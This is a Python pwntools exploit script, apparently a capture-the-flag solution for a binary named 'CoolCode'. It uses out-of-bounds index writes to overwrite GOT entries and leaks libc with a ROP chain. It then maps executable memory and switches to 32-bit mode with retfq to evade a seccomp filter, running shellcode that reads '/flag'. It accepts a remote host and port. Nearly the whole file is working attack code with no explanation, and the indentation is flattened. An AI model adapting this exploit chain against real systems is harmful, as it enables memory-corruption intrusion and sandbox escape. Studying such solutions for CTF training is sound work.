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| # -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip = b'127.0.0.1'
remote_port = 9999
binary_file = './%s' % "CoolCode"
#context.terminal = ['tmux', 'splitw', '-h']
local_libc_file = b'/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
def debug(gdb_script = ""):
gdb.attach(sh,gdb_script)
global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
elf = ELF(binary_file)
context.arch = "amd64"
if (awd or remote) and remote_libc_file != "":
lib = ELF(remote_libc_file)
else:
lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
s = lambda data :sh.send(str(data))
sa = lambda delim,data :sh.sendafter(str(delim), str(data))
sl = lambda data :sh.sendline(str(data))
sla = lambda delim,data :sh.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
irt = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ru7f = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
ruf7 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
lg = lambda data :log.success(data)
'''
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0006
0002: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0006
0003: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0006
0004: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0006
0005: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
'''
#puts_got : 0x602028
#chunk_list : 0x602140
def add(idx,content):
sla("Your choice :","1")
sla(":",str(idx))
sa("messages: ",content)
def show(idx):
sla("Your choice :","2")
sla(":",str(idx))
def free(idx):
sla("Your choice :",'3')
sla(":",str(idx))
exit_offset = -(0x602140 - 0x602090) / 0x8
read_offset = -(0x602140 - 0x602058) / 0x8
scanf_offset = -(0x602140 - 0x602088) / 0x8
payload = '\xc3'
add(exit_offset,payload)
payload = shellcraft.read(0,"rsp",0x100)
payload += "ret;"
payload = asm(payload)
add(scanf_offset,payload)
sla("Your choice :","1")
payload = p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'])
payload += p64(elf.plt['puts'])
payload += p64(elf.plt['__isoc99_scanf'])
sl(payload)
sleep(1)
__libc_start_main = ru7f()
libc = __libc_start_main - lib.symbols[b'__libc_start_main']
#debug_remote(sh.pid)
lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
__malloc_hook = lib.symbols[b'__malloc_hook']
__realloc_hook = lib.symbols[b'__realloc_hook']
one_gadget = []
#0x0000000000048a8f : shr r9, cl ; mov qword ptr [rdi], r9 ; ret
pop_rdi_ret = 0x0000000000021102
pop_rsi_ret = 0x00000000000202e8
pop_rdx_ret = 0x0000000000001b92
pop_rcx_rbx_ret = 0x00000000000ea69a
pop_rax_ret = 0x0000000000033544
pop_r8_ret = 0x0000000000135136
shr_r9_cl_mov_ptr_rdi_r9_ret = 0x0000000000048a8f
payload = ''
payload += p64(libc+pop_rsi_ret) + p64(0x1000)
payload += p64(libc+pop_rdx_ret) + p64(0x7)
payload += p64(libc+pop_rcx_rbx_ret) + p64(34) + p64(0)
payload += p64(libc+pop_r8_ret) + p64(0)
payload += p64(libc+pop_rdi_ret) + p64(elf.bss() + 0x300)
payload += p64(libc+shr_r9_cl_mov_ptr_rdi_r9_ret)
payload += p64(libc+pop_rdi_ret) + p64(0x66666000)
payload += p64(lib.sym['mmap'])
payload += p64(libc+pop_rdi_ret) + p64(0)
payload += p64(libc+pop_rsi_ret) + p64(0x66666000)
payload += p64(libc+pop_rdx_ret) + p64(0x1000)
payload += p64(lib.sym['read'])
payload += p64(0x66666000)
sl(payload)
sleep(1)
payload = ''
payload += asm("mov rsp,0x66666300")
payload += asm("push 0x23")
payload += asm("push 0x66666100")
payload += asm("retfq")
payload = payload.ljust(0x100,'\x90')
payload += 'jgh/fla\x89\xe31\xc91\xd2j\x05X\xcd\x80' #open("/flag",0)
payload += 'j3hPaff\xcb'#push 0x33;push 0x66666614
payload = payload.ljust(0x150,'\x90')
payload += asm(shellcraft.read(3,0x66666800,0x100))
payload += asm(shellcraft.write(1,0x66666800,0x100))
payload = payload.ljust(0x300,'\x90')
sl(payload)
lg(b"libc: " + hex(lib.address))
lg(b"system: " + hex(system))
lg(b"binsh: " + hex(binsh))
lg(b"__free_hook: " + hex(__free_hook))
lg(b"__realloc_hook: " + hex(__realloc_hook))
lg(b"__malloc_hook: " + hex(__malloc_hook))
irt()
def CTF_exploit(argv):
global remote_ip,remote_port,binary_file
argv_len = len(argv)
context.log_level = b"DEBUG"
if argv_len == 1:
sh = process(binary_file)
exploit(sh)
return
elif argv_len == 3:
sh = remote(argv[1],argv[2])
exploit(sh,remote = True)
return
else:
sh = process(binary_file)
exploit(sh)
if __name__ == b"__main__":
CTF_exploit(sys.argv)
|
